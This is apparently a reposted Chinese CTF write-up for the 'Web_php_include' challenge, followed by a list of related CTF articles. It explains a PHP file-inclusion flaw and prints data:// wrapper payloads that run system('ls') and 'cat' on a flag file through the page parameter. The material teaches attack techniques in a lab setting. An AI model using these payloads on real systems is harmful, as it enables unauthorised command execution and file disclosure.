攻防世界-WEB-Web_php_include

7月前作者：Lucifer_wei 分类：Toy博客阅读(32) 违法举报

这篇具有很好参考价值的文章主要介绍了攻防世界-WEB-Web_php_include。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

打开靶机

攻防世界-WEB-Web_php_include,CTF练习册,php,开发语言

通过代码审计可以知道，存在文件包含漏洞，并且对伪协议php://进行了过滤。

发现根目录下存在phpinfo

观察phpinfo发现如下：

这两个都为on

所以我们就可以使用data://伪协议

payload如下：

- ?page=data://text/plain,<?phpsystem("ls")?>- ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=    #base64编码

访问新连接

攻防世界-WEB-Web_php_include,CTF练习册,php,开发语言

上面的payload就可以实现命令执行了

找了半天发现flag在fl4gisisish3r3.php文件中

使用如下payload就可以获取flag了

?page=data://text/plain,<?phpsystem("cat fl4gisisish3r3.php")?>

使用该命令获取的flag被隐藏了，直接在web界面找不到，可以通过查看网页源代码查看

攻防世界-WEB-Web_php_include,CTF练习册,php,开发语言

拿到flag文章来源地址https://www.toymoban.com/news/detail-698697.html

到了这里，关于攻防世界-WEB-Web_php_include的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

【web | CTF】攻防世界 wife_wife

目录步骤1：峰回路转步骤2：JavaScript原型链污染步骤3：fuzz测试总结：题目意义对英语无感的我一开始没看到有个注册的提示，还以为暴力破解，看了一下题目才知道不需要暴力破解来到注册页面，就发现有点吊了，is admin可以勾选，居然能注册管理员，有点搞笑，不切

2024年02月07日
浏览(29)
攻防世界-web篇(php_rce)详解

每日一题，今天我们来攻防世界web篇(php_rce) 目录 1、利用system函数远程命令执行 2、查找文件目录 3、进入flag目录 4、查看flag文件拿到flag 首先打开题目：这里我们可以看到打开后是一个ThinkPHP V5的界面，由此我们可以判断这是一个使用TinkPHP框架开发的，接下来我们由长期的

2024年02月15日
浏览(38)
小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

#研究对象 PHP代码漏洞（代码问题） # 知识点： 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计一、原理-缺陷函数-使用讲解-本地内置函数：大部分是比较函数（过滤时使用的函数）（1）、== 与 === ：参考： PHP 浅谈 == 和=== 中，数字和字符串比较的问题。_php 数字==字符串

2024年01月19日
浏览(42)
[CTF/网络安全] 攻防世界 PHP2 解题详析

翻译：你能给这个网站进行身份验证吗？ index.php是一个常见的文件名，通常用于Web服务器中的网站根目录下。它是默认的主页文件名，在访问一个网站时，如果没有特别指定页面文件名，则服务器会自动加载index.php文件。在Web应用程序中，index.php文件通常是网站的入口文件

2024年02月13日
浏览(38)
[CTF/网络安全] 攻防世界 fileinclude 解题详析（php伪协议）

由于index.php在/var/www/html目录下，而flag.php与index.php同为php文件，故猜想flag.php也在该目录下。查看页面源代码获取更多信息：源代码中看到 @include($lan.\\\".php\\\"); ，即此处存在文件包含。又因为 $lan = $_COOKIE[\\\'language\\\']; 因此解题思路为：利用php伪协议，构造language参数，来读取该目

2024年02月07日
浏览(35)
[CTF/网络安全] 攻防世界 php_rce 解题详析

PHP RCE 指的是通过远程代码执行漏洞（Remote Code Execution）来攻击 PHP 程序的一种方式。简单来说，由于PHP应用程序没有正确处理外部输入数据（如用户提交的表单、请求参数等），攻击者通过某些手段向 PHP 应用程序中注入恶意代码，然后通过这些恶意代码实现对受攻击服务器

2024年02月06日
浏览(42)
[CTF/网络安全] 攻防世界 simple_php 解题详析

题目描述：小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 $a=@$_GET[\\\'a\\\']; 从HTTP GET请求参数中获取一个名为a的变量，并将其赋值给变量a。@符号用于禁止错误输出，如果不存在参数a则会将变量a设置为NULL。 $b=@$_GET[\\\'b\\\']; 从HTTP GET请求参数中获取一个名为b的变量，

2024年02月13日
浏览(37)
WEB：Web_php_include（多解）

背景知识文件包含 file://协议 php://协议 data://协议了解strstr函数题目由于file://协议用于本地系统，所以考虑用data://协议先进行测试再利用，可得到目录路径再利用，可得到当前目录文件看到fl4g文件，再用 file_get_contents 就可以读取里面的内容得到flag 其他解法待更新参

2024年02月16日
浏览(29)
攻防世界easyupload （web新手）

典型的文件上传，本题涉及知识点文件上传漏洞 .user.ini绕过其实这个题目是文件上传漏洞中相对来说不是很常见的题目，说实话也是涉及了我的知识盲区，在此之前我对文件上传漏洞有一些总结如下，都尝试过后发现没有能用的。 1. JavaScript 防御检测发生在浏览器端(本地

2023年04月16日
浏览(31)
攻防世界web题目记录(一)

打开后获得源码开始审计第一个php便是重定向到page页面第二个是上传文件并保存但是首先需要session为admin 接着看第三个是要利用php弱类型如果设置了id 并且id的浮点值不等于1并且截取id的最后一个值等于9这里可以使用php弱类型1-9绕过接着上传文件,这里主要是包括有一个目

2024年02月07日
浏览(34)